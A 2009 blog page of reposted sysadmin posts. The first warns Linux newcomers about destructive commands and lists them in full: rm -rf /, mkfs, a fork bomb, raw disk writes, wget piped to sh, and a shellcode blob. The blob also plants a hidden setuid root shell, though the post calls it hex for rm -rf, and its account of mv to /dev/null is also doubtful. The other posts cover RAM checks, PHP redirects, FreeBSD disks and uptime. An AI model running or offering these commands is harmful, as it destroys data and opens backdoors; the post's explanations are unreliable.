Thursday, August 20, 2009

The 7 Deadly Linux Commands

— SkyHi @ Thursday, August 20, 2009
If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.

1. Code:

rm -rf /

This command will recursively and forcefully delete all the files inside the root directory.

2. Code:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

3. Code:

mkfs.ext3 /dev/sda

This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

4. Code:

:(){:|:&};:

Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

5. Code:

any_command > /dev/sda

With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

6. Code:

wget http://some_untrusted_source -O- | sh

Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

7. Code:

mv /home/yourhomedirectory/* /dev/null

This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.

There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share it with us via comment.

Reference: http://www.linux-masters.com/2009/08/7-deadly-linux-commands.html

Ubuntu x64 with 4GB ram but only show s 3GB

— SkyHi @ Thursday, August 20, 2009
at /boot/config-2.6.24-23-generic | grep HIGH

This will show your kernel memory configuration

CONFIG_HIGHMEM=y
CONFIG_HIGHPTE=y
CONFIG_HIGH_RES_TIMERS=y
# CONFIG_NOHIGHMEM is not set
CONFIG_HIGHMEM4G=y
# CONFIG_HIGHMEM64G is not set

Ensure CONFIG_HIGHMEM is set to y and CONFIG_HIGHMEM4G is set to y
also you can try with the server kernel what is configured to support 64GB by default

if HIGHMEM and HIGIMEM4G are enabled it's a BIOS problem



http://uk.answers.yahoo.com/question/index?qid=20090727102210AAtoEc7
Reference: http://ubuntuforums.org/showthread.php?t=1030027

PHP Redirect To Another URL / Page Script

— SkyHi @ Thursday, August 20, 2009
How do I redirect with PHP script?

Under PHP you need to use header() to send a raw HTTP header.

Using headers() method, you can easily transferred to the new page without having to click a link to continue. This is also useful for search engines. Remember that header() must be called before any actual output is sent, either by normal HTML tags, blank lines in a file, or from PHP. It is a very common error to read code with include(), or require(), functions, or another file access function, and have spaces or empty lines that are output before header() is called. The same problem exists when using a single PHP/HTML file.
PHP Redirect Script

You can easily redirect using following code:


/* Redirect browser */
header("Location: http://theos.in/");
/* Make sure that code below does not get executed when we redirect. */
exit;
?>


Another sample hack

Sample function - sitefunctions.php (note I'm not the author of the following I found it somewhere else on the Internet):

function movePage($num,$url){
static $http = array (
100 => "HTTP/1.1 100 Continue",
101 => "HTTP/1.1 101 Switching Protocols",
200 => "HTTP/1.1 200 OK",
201 => "HTTP/1.1 201 Created",
202 => "HTTP/1.1 202 Accepted",
203 => "HTTP/1.1 203 Non-Authoritative Information",
204 => "HTTP/1.1 204 No Content",
205 => "HTTP/1.1 205 Reset Content",
206 => "HTTP/1.1 206 Partial Content",
300 => "HTTP/1.1 300 Multiple Choices",
301 => "HTTP/1.1 301 Moved Permanently",
302 => "HTTP/1.1 302 Found",
303 => "HTTP/1.1 303 See Other",
304 => "HTTP/1.1 304 Not Modified",
305 => "HTTP/1.1 305 Use Proxy",
307 => "HTTP/1.1 307 Temporary Redirect",
400 => "HTTP/1.1 400 Bad Request",
401 => "HTTP/1.1 401 Unauthorized",
402 => "HTTP/1.1 402 Payment Required",
403 => "HTTP/1.1 403 Forbidden",
404 => "HTTP/1.1 404 Not Found",
405 => "HTTP/1.1 405 Method Not Allowed",
406 => "HTTP/1.1 406 Not Acceptable",
407 => "HTTP/1.1 407 Proxy Authentication Required",
408 => "HTTP/1.1 408 Request Time-out",
409 => "HTTP/1.1 409 Conflict",
410 => "HTTP/1.1 410 Gone",
411 => "HTTP/1.1 411 Length Required",
412 => "HTTP/1.1 412 Precondition Failed",
413 => "HTTP/1.1 413 Request Entity Too Large",
414 => "HTTP/1.1 414 Request-URI Too Large",
415 => "HTTP/1.1 415 Unsupported Media Type",
416 => "HTTP/1.1 416 Requested range not satisfiable",
417 => "HTTP/1.1 417 Expectation Failed",
500 => "HTTP/1.1 500 Internal Server Error",
501 => "HTTP/1.1 501 Not Implemented",
502 => "HTTP/1.1 502 Bad Gateway",
503 => "HTTP/1.1 503 Service Unavailable",
504 => "HTTP/1.1 504 Gateway Time-out"
);
header($http[$num]);
header ("Location: $url");
}

Now call it as follows:

@include("/path/to/sitefunctions.php");
movePage(403,"http://www.cyberciti.biz/");
?>

Linux Find The Speed Of Memory Through Software Command Prompt

— SkyHi @ Thursday, August 20, 2009
How do I find out or identify the speed of my memory (DIMM) through command prompt options under Linux operating systems? How do I find out speed of the DIMM's using a shell prompt?

You can find out the speed using dmidecode or lshw command under any Linux distribution.
Install lshw

If you are using Debian / Ubuntu Linux, enter:
# apt-get install lshw
If you are RHEL / Fedora / Red Hat / CentOS Linux, enter the following after enabling EPEL repo:
# yum install lshw
How do I use lshw to display DIMM speed?

Type the command as follows:
# lshw -short -C memory
Outputs:

H/W path Device Class Description
=======================================================
/0/0 memory 108KiB BIOS
/0/4/6 memory 16KiB L1 cache
/0/4/7 memory 8MiB L2 cache
/0/5/8 memory 16KiB L1 cache
/0/5/9 memory 8MiB L2 cache
/0/16 memory 12GiB System Memory
/0/16/0 memory 2GiB DIMM Synchronous 667 MHz (1.5 ns)
/0/16/1 memory 2GiB DIMM Synchronous 667 MHz (1.5 ns)
/0/16/2 memory 2GiB DIMM Synchronous 667 MHz (1.5 ns)
/0/16/3 memory 2GiB DIMM Synchronous 667 MHz (1.5 ns)
/0/16/4 memory 2GiB DIMM Synchronous 667 MHz (1.5 ns)
/0/16/5 memory DIMM Synchronous 667 MHz (1.5 ns) [empty]
/0/16/6 memory 2GiB DIMM Synchronous 667 MHz (1.5 ns)
/0/16/7 memory DIMM Synchronous 667 MHz (1.5 ns) [empty]

See how to use dmidecode to find out RAM speed and type under Linux.

Reference: http://www.cyberciti.biz/faq/linux-find-memory-speed-dimm-command/

Linux: Check Ram Speed and Type

— SkyHi @ Thursday, August 20, 2009
How do I check RAM speed and type (line DDR or DDR2) without opening my computer? I need to purchase RAM and I need to know the exact speed and type installed. How do I find out ram information from a shell prompt?

You need to use biosdecode command line utility. Dmidecode is a tool or dumping a computer's DMI (some say SMBIOS) table contents in a human-readable format. The output contains a description of the system's hardware components, as well as other useful pieces of information such as serial numbers and BIOS revision. This command works under Linux, UNIX and BSD computers.
Open a shell prompt and type the following command:
$ sudo dmidecode --type 17
OR
$ sudo dmidecode --type 17 | more
Sample output:

# dmidecode 2.9
SMBIOS 2.4 present.

Handle 0x0018, DMI type 17, 27 bytes
Memory Device
Array Handle: 0x0017
Error Information Handle: Not Provided
Total Width: 64 bits
Data Width: 64 bits
Size: 2048 MB
Form Factor: DIMM
Set: None
Locator: J6H1
Bank Locator: CHAN A DIMM 0
Type: DDR2
Type Detail: Synchronous
Speed: 800 MHz (1.2 ns)
Manufacturer: 0x2CFFFFFFFFFFFFFF
Serial Number: 0x00000000
Asset Tag: Unknown
Part Number: 0x5A494F4E203830302D3247422D413131382D

Handle 0x001A, DMI type 17, 27 bytes
Memory Device
Array Handle: 0x0017
Error Information Handle: Not Provided
Total Width: Unknown
Data Width: Unknown
Size: No Module Installed
Form Factor: DIMM
Set: None
Locator: J6H2
Bank Locator: CHAN A DIMM 1
Type: DDR2
Type Detail: None
Speed: Unknown
Manufacturer: NO DIMM
Serial Number: NO DIMM
Asset Tag: NO DIMM
Part Number: NO DIMM

See also:

1. Linux Find The Speed Of Memory Through Software Command Prompt

Reference: http://www.cyberciti.biz/faq/check-ram-speed-linux/

FreeBSD: How To Add A Second Hard Disk

— SkyHi @ Thursday, August 20, 2009
Q. How do I add a second hard disk to my FreeBSD server? How do I partition, label and mount a new hard disk under FreeBSD for backup or additional data?

A. There are two ways to install a new hard disk under FreeBSD system. You can use all command line utilities such as fdisk,bsdlabel and newfs to create partitions, label and format it. This method requires complete understanding of BSD partitions and other stuff.
Using sysinstall - Easy way to add a new hard disk

The sysinstall utility is used for installing and configuring FreeBSD systems including hard disks. sysinstall offers options to partition and label a new disk using its easy to use menus. Login as root user. Run sysinstall and enter the Configure menu. Within the FreeBSD Configuration Menu, scroll down and select the Fdisk option:
# sysinstall
Alternatively, use sudo (if configured) to run sysinstall:
$ sudo sysinstall
[Warning examples may crash your computer] WARNING! These examples may result into data loss or crash your computer if executed without proper care. This FAQ assumes that you have added a hard disk to the system. Also, replace ad to da (if using SCSI hard disk). Please note that any existing data on 2nd hard disk will get wiped out. Make sure you have backup of all import data and config files.
Fig.01: Scroll down to Configure and press [enter]

Fig.01: Scroll down to Configure and press [enter]
Fig.02: Select Fdisk and press [enter]

Fig.02: Select Fdisk and press [enter]
Fig.03: Select the appropriate drive and press [enter]

Fig.03: Select the appropriate drive and press [enter]

The new drive will probably be the second in the list with a name like ad1 or ad2 and so on. In above example it is ad6.
Using fdisk

Once inside fdisk, pressing A will use the entire disk for FreeBSD. When asked if you want to "remain cooperative with any future possible operating systems", answer YES. Write the changes to the disk using W. Now exit the FDISK editor by pressing Q. Next you will be asked about the "Master Boot Record". Since you are adding a disk to an already running system, choose None. The next dialog will say that the operation was successful. Press [enter]. Type Q to quit FDISK.
Using disklable

Next, you need to exit sysinstall and start it again. Restart sysinstall by typing sysinstall:
# sysinstall
Select Configure and press [enter]. Select Label and press [enter]. A dialog asking you to select the drive will appear. Select the appropriate drive and press [enter].

This is where you will create the traditional BSD partitions:

1. A disk can have up to eight partitions, labeled a-h.
2. The a partition is used for the root partition (/). Thus only your system disk (e.g, the disk you boot from) should have an a partition.
3. The b partition is used for swap partitions, and you may have many disks with swap partitions.
4. The c partition addresses the entire disk in dedicated mode, or the entire FreeBSD slice in slice mode.
5. The other partitions are for general use.

Now press C to create a partition.

* Set partition size, to use the whole drive, press [enter].
* Next, choose fs and press [enter].
* Type /disk2 as mount point and press [enter] (don't use the name of a directory that already exists because sysinstall will mount the new partition on top of it)
* To finalize the changes, press W, select yes and press [enter].

Update /etc/fstab

The last step is to edit /etc/fstab to add an entry for your new disk, enter:
# vi /etc/fstab
Append entry like as follows (make sure you replace parition name with actual values):

/dev/ad6s1d /disk2 ufs rw 2 2

Here is my sample /etc/fstab file:

/dev/ad4s1a 520M 393M 85M 82% /
devfs 1.0k 1.0k 0B 100% /dev
/dev/ad6s1d 243G 75G 148G 34% /disk2
/dev/ad4s1d 520M 22M 456M 5% /tmp
/dev/ad4s1f 230G 4.6G 207G 2% /usr
/dev/ad4s1e 10G 130M 9.4G 1% /var
devfs 1.0k 1.0k 0B 100% /var/named/dev
devfs 1.0k 1.0k 0B 100% /usr/home/jail/www.example.com/dev

Save and close the file. The new drive should mount automatically at /disk2 after reboot. To mount it immediately, enter:
# mount -a
# df -H


Referece: http://www.cyberciti.biz/faq/freebsd-adding-second-hard-disk-howto/

Explain: Five Nines ( 99.999% ) Computer / Network Uptime Concept

— SkyHi @ Thursday, August 20, 2009
Q. Some service provider guarantees 99.999% uptime for their service. Can you explain meaning of five nines?

A. The uptime and reliability of computer and communications facilities is sometimes measured in nines. Having a computer system's availability of 99.999% means the system is highly available, delivering its service to the user 99.999% of the time it is needed. In other words you get a total downtime of approximately five minutes and fifteen seconds per year with 99.999% uptime.
Availability per day per month per year
99.999% 00:00:00.4 00:00:26 00:05:15
99.99% 00:00:08 00:04:22 00:52:35
99.9% 00:01:26 00:43:49 08:45:56
99% 00:14:23 07:18:17 87:39:29

A service level agreement (SLA) is a part of a service contract where the level of service is formally defined including uptime. Uptime agreements are very common metric, often used for data and network services such as hosting, servers and dedicated servers, leased lines. Common agreements include percentage of network uptime, power uptime, amount of scheduled maintenance windows etc.

To achieve true 99.999% uptime you need multiple tier 4 data center and including capacity planning. 99.999% uptime is recommended for mission-critical stuff and e-commerce.

You can run the following command on UNIX / Linux to see uptime:
$ uptime
Under Windows server 2003 / 2008 / XP or Vista, type the following command at command prompt to see uptime:
systeminfo | find "Up Time"